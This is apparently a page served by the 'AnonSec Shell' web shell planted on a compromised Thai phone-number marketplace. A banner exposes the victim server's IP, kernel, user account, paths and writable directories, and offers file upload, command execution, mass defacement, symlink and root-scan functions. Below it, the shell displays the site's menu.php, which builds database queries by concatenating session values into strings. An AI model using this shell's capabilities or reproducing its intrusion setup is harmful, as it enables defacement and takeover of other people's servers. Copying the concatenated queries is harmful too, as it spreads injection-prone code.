AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/themes/menu.php
<?php include("../include/some_screen.php"); ?>
<style media="screen">
  .dropdown-toggle::after{
    display: none;
  }
  ul.nav li.dropdown:hover > ul.dropdown-toggle {
    display: block;
  }

  .navbar-nav>li>.dropdown-toggle {  margin-top: 0px;}
  @media (min-width: 768px){
    .navbar-nav {
      float: right;
      margin: 0;
    }
    .dropdown:hover>.dropdown-menu {
        display: block;
    }
  }
  .text-letter {
    letter-spacing: 0.75px;
  }
  li {list-style-type: none;}
  .navbar-nav>li>.dropdown-menu{margin-top: 0px;}

  @media (max-width:789px) {
    .dropdown-menu[data-bs-popper]{
      top: 45px;
      min-width: 222px;
    }
  }
</style>

<div class="container mt-3 d-none d-lg-block">
  <div class="d-flex justify-content-center">
    <img src="<?php echo @$urlimg_main; ?>images/logo-0.png" alt="" class="img-fluid" style="cursor: pointer;" onclick="location.href='../home/'">
  </div>
</div>
<div class="container">
  <nav class="navbar navbar-expand-lg navbar-light bg-responsive pb-md-0">
    <div class="container-fluid align-center px-0 px-md-3">
      <a class="navbar-brand d-lg-none d-block" href="../home/">
        <img src="<?php echo @$urlimg_main; ?>images/logo-0.png" alt="" class="img-fluid">
      </a>
      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <form class="d-flex d-md-flex d-lg-none align-items-center justify-content-center col-12">
        <?php if(@$_SESSION['simDed_login'] == ''){ ?>
          <li class="nav-item ">
            <button type="button" class="btn btn-danger BtnLogin text-letter rounded-pill fs-4" data-bs-toggle="modal" data-bs-target="#myModal_login">
              เข้าสู่ระบบ
            </button>
          </li>
        <?php } ?>
        <?php
        if(@$_SESSION['simDed_login'] == 1)
        {
          ?>
        <li class="menu_login dropdown pb-1 bg-danger-sim rounded-pill py-1 pe-3 ps-1 mt-0 mb-0" style="width: 150px; max-width: fit-content;">
            <?php include('../themes/session_login2.php'); ?>
        </li>
      <?php  }  ?>
        <li class="dropdown menu_Basket mt-0 d-flex ms-auto">
          <a href="#" class="dropdown-toggle BtnBasket btn btn-danger rounded-pill ms-0  fs-4" data-bs-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
            <?php  if($_SESSION["num_cart"]==0){ $_SESSION["num_cart"] = 0;}  ?>
             ตะกร้าสินค้า
          </a>

          <a href="#" class="dropdown-toggle position-relative text-decoration-none d-none d-md-grid pt-2" style="top: -12px;">
            <img src="../images/sho.png" class="position-absolute" width="60" style="margin-top:-2px;" />
            <span id="alert_cart2" class="position-relative text-danger-sim "
            style="<?php echo (strlen($_SESSION['num_cart']) == 1)?'margin-left: 1.6rem!important;':'margin-left: 1.4rem!important;'; ?>">
              <?php echo $_SESSION["num_cart"]; ?>
            </span>

          </a>

            <ul class="dropdown-menu boxcart " id="alert_cart_ok2">

              <?php
              if($_SESSION["num_cart"]==0){
                ?>
                <li><div class="row justify-content-center" align="center"> ไม่มีสินค้าในตะกร้า</div></li>
                <?php
              }
              else{
                foreach ($_SESSION["cart"] as $key => $value)
                {
                  $list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");
                  $view = $view_db->view($list);
                  $row = $view_db->q($view);

                  $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);

                  $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

                  $list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
                  $view_shr = $view_db->view($list_shr);
                  $row_shr = $view_db->q($view_shr);
                  $urlshop =  $util_class->ck_expired_shop($row_shr['id']);
                  ?>
                  <li class="listcart">
                    <div class="row">
                      <div class="col-xs-2" style="text-align:left;padding-top:5px;" align="left">
                        <a href="<?php echo $Url_shop.$row_shr['codeshop']?>"><?php echo imgprofile_shop($row_shr['image_profile'],'34'); ?></a>
                      </div>
                      <div class="col-xs-10" align="left">
                        <div style="font-size:16px;"><a href="<?php echo $urlshop;?>" style="color:#333"><?php echo $row_shr['nameShop'];?></a> </div>
                        <div class=""><?php echo $phonenumber; ?>
                          <span style="color:#F00;font-weight:bold;"> <?php echo number_format($row['price'])?>  บาท </span> </div>
                        </div>
                      </div>
                    </li>
                    <?php
                    $total =   $total + $row['price'];
                  }
                  ?>
                  <li class="totalcart">
                    <div class="row">
                      <div class="col-xs-6" style="text-align:left;padding-top:5px;font-size:15px;" align="left">
                        ราคารวม  <?php echo number_format($total)?>  บาท
                      </div>
                      <div class="col-xs-5" align="right">
                        <a onclick="link_cart()" class="btn btn-danger btn_checkout">ชำระสินค้า</a>
                      </div>
                    </div>
                  </li>
                  <?php

                }
                ?>

              </ul>
            </li>

          </form>
      <div class="collapse navbar-collapse mt-3" id="navbarSupportedContent" style="height: 45px;">
        <ul class="navbar-nav me-lg-auto mb-2 mb-lg-0 h-100 align-center float-none">
          <li class="nav-item dropdown h-100 mb-2 me-auto">
            <a class="nav-link dropdown-toggle menu_topD text-letter text-dark py-md-0 h-100 align-center d-flex" href="#"
            id="navbarDropdown" role="button" data-bs-toggle="dropdown" >
              ทำนายฟรี
            </a>
            <ul class="dropdown-menu" aria-labelledby="navbarDropdown">
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../reading/index.php?type=mobile">ทำนายเบอร์โทรศัพท์</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../reading/index.php?type=idcard">ทำนายบัตรประชาชน</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../reading/index.php?type=homenumber">ทำนายเลขที่บ้าน</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../reading/index.php?type=licenseplate">ทำนายทะเบียนรถ</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../reading_lover/">ทำนายเบอร์คู่รัก</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../seamsi/index.php">เสี่ยงเซียมซี</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../numerology/index.php">เลขเด็ดอาจารย์ดัง</a></li>
              <li><a class="dropdown-item"  href="<?php echo @$url_menu; ?>../element/index.php">ธาตุสมพงษ์ประจำวันเกิด</a></li>
            </ul>
          </li>
          <li class="nav-item mb-2 me-auto">
            <a class="nav-link text-dark py-md-0 h-100" href="#" data-bs-toggle="modal" data-bs-target="#myModal_login"
            style="display:contents;">ลงประกาศขายเบอร์ฟรี</a>
          </li>
          <li class="nav-item dropdown h-100 mb-2 me-auto">
            <a class="nav-link dropdown-toggle menu_topD text-letter text-dark py-md-0 h-100 align-center d-flex" href="#"
              id="navbarDropdown2" role="button" data-bs-toggle="dropdown" aria-expanded="false">
              บริการ
            </a>
            <ul class="dropdown-menu" aria-labelledby="navbarDropdown2">
              <li><a class="dropdown-item" href="#">ลงประกาศ</a></li>
              <li><a class="dropdown-item" href="<?php echo @$url_menu; ?>../reading/index.php">ทำนายเบอร์</a></li>
              <li><a class="dropdown-item" href="<?php echo @$url_menu; ?>../article/">บทความ</a></li>
              <!-- <li><a class="dropdown-item" href="#">ตวรจสอบหมายเลขพัสดุ</a></li>-->
              <li><a class="dropdown-item" href="../seller/">ร้านค้า</a></li>
            </ul>
          </li>
          <li class="nav-item mb-2 me-auto pe-2">
            <a class="nav-link text-dark py-md-0 h-100" style="display:contents;" href="<?php echo @$url_menu; ?>../package/index.php">แพ็กเกจ</a></li>
          <li class="nav-item mb-2 me-auto pe-2">
            <a class="nav-link text-dark py-md-0 h-100" style="display:contents;" href="<?php echo @$url_menu; ?>../contact">ติดต่อเรา</a></li>
          <li class="nav-item mb-2 me-auto pe-2">
            <a class="nav-link text-dark py-md-0 h-100" style="display:contents;" href="<?php echo @$url_menu; ?>../wallpaper/">วอลเปเปอร์</a></li>

    </ul>
    <form class="d-lg-flex d-none align-items-center ">
      <?php if(@$_SESSION['simDed_login'] == ''){ ?>
        <li class="nav-item">
          <button type="button" class="btn btn-danger BtnLogin text-letter rounded-pill fs-5" data-bs-toggle="modal" data-bs-target="#myModal_login">
            เข้าสู่ระบบ
          </button>
        </li>
      <?php } ?>
      <?php  if(@$_SESSION['simDed_login'] == 1){  ?>
      <li class="menu_login dropdown pb-1 bg-danger-sim rounded-pill py-1 pe-3 ps-1">
        <?php include('../themes/session_login.php'); ?>
      </li>
    <?php  }  ?>
      <li class="dropdown menu_Basket">
        <a href="#" class="dropdown-toggle BtnBasket text-letter btn btn-danger rounded-pill align-items-center pt-0  fs-5" style="display: inline-grid;"
        data-bs-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
          <?php  if($_SESSION["num_cart"]==0){ $_SESSION["num_cart"] = 0;}  ?>
           ตะกร้าสินค้า
        </a>

        <a href="#" class="dropdown-toggle position-relative text-decoration-none me-3" style="top: -12px;" data-bs-toggle="dropdown">
          <img src="../images/sho.png" class="position-absolute" width="60" style="margin-top:-2px;" />
          <span id="alert_cart" class="position-relative text-danger-sim " style="<?php echo (strlen($_SESSION['num_cart']) == 1)?'margin-left: 1.6rem!important;':'margin-left: 1.4rem!important;'; ?>">
            <?php echo $_SESSION["num_cart"]; ?>
          </span>

        </a>

          <ul class="dropdown-menu boxcart bg-danger-sim rounded-sim2 border-danger-sim" id="alert_cart_ok" style="width:fit-content;">
            <?php
            if($_SESSION["num_cart"]==0){
              ?>
              <li class="mx-3">
                <div class=" w-auto bg-danger-sim text-light" align="center"> ไม่มีสินค้าในตะกร้า</div>
              </li>
              <?php
            }
            else{
              foreach ($_SESSION["cart"] as $key => $value)
              {
                $list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");
                $view = $view_db->view($list);
                $row = $view_db->q($view);
                $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);

                if(!$row['id']){
                  $list = array('table'=>'carregistration','where'=>'carregistration = "'.$value.'"','order'=> "ORDER BY id DESC");
                  $view = $view_db->view($list);
                  $row = $view_db->q($view);

                  $phonenumber =$row['carregistration'];
                }


                $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

                $list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
                $view_shr = $view_db->view($list_shr);
                $row_shr = $view_db->q($view_shr);
                $urlshop =  $util_class->ck_expired_shop($row_shr['id']);
              ?>
                <li class="listcart mx-md-3">
                  <div class="row bg-danger-sim text-light ">
                    <div class="col-2" style="text-align:left;padding-top:5px;" align="left">
                      <a href="<?php echo $Url_shop.$row_shr['codeshop']?>"><?php echo imgprofile_shop($row_shr['image_profile'],'34'); ?></a>
                    </div>
                    <div class="col-10" align="left">
                      <div>
                        <a href="<?php echo $urlshop;?>" class="text-light"><?php echo $row_shr['nameShop'];?></a>
                      </div>
                      <div class=""><?php echo $phonenumber; ?>
                        <span class="float-end" style="font-weight:bold;"> <?php echo number_format($row['price'])?>  บาท </span>
                      </div>
                    </div>
                  </div>
                </li>
                  <?php
                  //$total =   $total + $row['price'];
                }
                ?>
                <li class="totalcart mx-md-3">
                  <div class="row bg-danger-sim text-light">
                    <div class="col-12" style="text-align:left;padding-top:5px;" align="left">
                      ราคารวม  <?php echo number_format($total)?>  บาท
                    </div>
                    <div class="col-12 pe-2" align="right">
                      <a onclick="link_cart()" class="btn btn-outline-danger rounded-2 btn_checkout">ชำระสินค้า</a>
                    </div>
                  </div>
                </li>
                <?php

              }
              ?>

            </ul>
          </li>

        </form>
      </div>
    </div>
  </nav>

</div>

<?php
/*
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
*/
 ?>


<!--
<div class="container" style="margin-top:60px;">
  <div style="padding-bottom:40px;height:30px;" align="right">
    <div id="google_translate_element"></div>

    <script type="text/javascript">
      function googleTranslateElementInit() {
      new google.translate.TranslateElement({pageLanguage: 'th'}, 'google_translate_element');
      }
    </script>
  </div>

</div>
-->
<!-- /.navbar -->

Anon7 - 2022
AnonSec Team